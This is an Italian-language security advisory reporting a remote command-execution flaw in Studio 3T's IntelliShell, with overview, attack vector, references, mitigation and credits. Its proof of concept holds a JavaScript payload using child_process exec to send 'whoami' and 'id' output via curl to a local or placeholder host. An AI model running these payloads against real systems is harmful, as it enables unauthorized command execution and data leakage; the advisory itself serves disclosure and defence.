
Studio 3T v.2025.1.0
Software: Studio 3T v.2025.1.0
Rapporto di vulnerabilità: Esecuzione di comandi in remoto in Studio 3T
Panoramica
Una vulnerabilità critica in Studio 3T versione 2025.1.0 e precedenti consente a un utente malintenzionato remoto di eseguire codice arbitrario tramite un payload appositamente costruito che sfrutta il modulo child_process nel componente IntelliShell.
Dettagli Tipo di vulnerabilità: Esecuzione di comandi in remoto Prodotto interessato: Studio 3T, versione <= 2025.1.0 Componente interessato: IntelliShell Tipo di attacco: Remoto Impatti: Esecuzione di codice: Sì Denial of Service: Sì Escalation dei privilegi: Sì
Descrizione
La vulnerabilità consente a un utente malintenzionato remoto di eseguire comandi arbitrari del sistema operativo inviando un payload JavaScript dannoso tramite IntelliShell, sfruttando il modulo child_process. Si tratta di una vulnerabilità di esecuzione cieca, il che significa che nessun output diretto viene restituito all'attaccante.
Vettore di attacco
Stabilire una connessione a un'istanza MongoDB.
Inviare un payload JavaScript dannoso tramite IntelliShell che utilizza il modulo child_process per eseguire comandi arbitrari del sistema operativo.
Proof of Concept Per verificare la vulnerabilità, utilizzare i seguenti passaggi:
Configurare un server HTTP locale: python3 -m http.server 80
Eseguire il seguente payload JavaScript in IntelliShell: const {exec} = require('child_process'); exec('curl 127.0.0.1/$(whoami)', (error, stdout, stderr) => console.log(stdout));
In alternativa, utilizzare il comando seguente come vettore di verifica: curl http://site/$(id) Riferimenti
Sito ufficiale di Studio 3T
Repository GitHub di Studio 3T
CWE-78: Iniezione di comandi nel sistema operativo
CWE-94: Iniezione di codice
Mitigazione
Utenti: aggiornare a una versione corretta di Studio 3T (se disponibile) o evitare di utilizzare IntelliShell con connessioni MongoDB non attendibili.
Fornitori: limitare o sanificare gli input al modulo child_process in IntelliShell per prevenire l'esecuzione non autorizzata di comandi.
Riconoscimenti Questa vulnerabilità è stata scoperta e segnalata da Kaio Mendonca Pereira.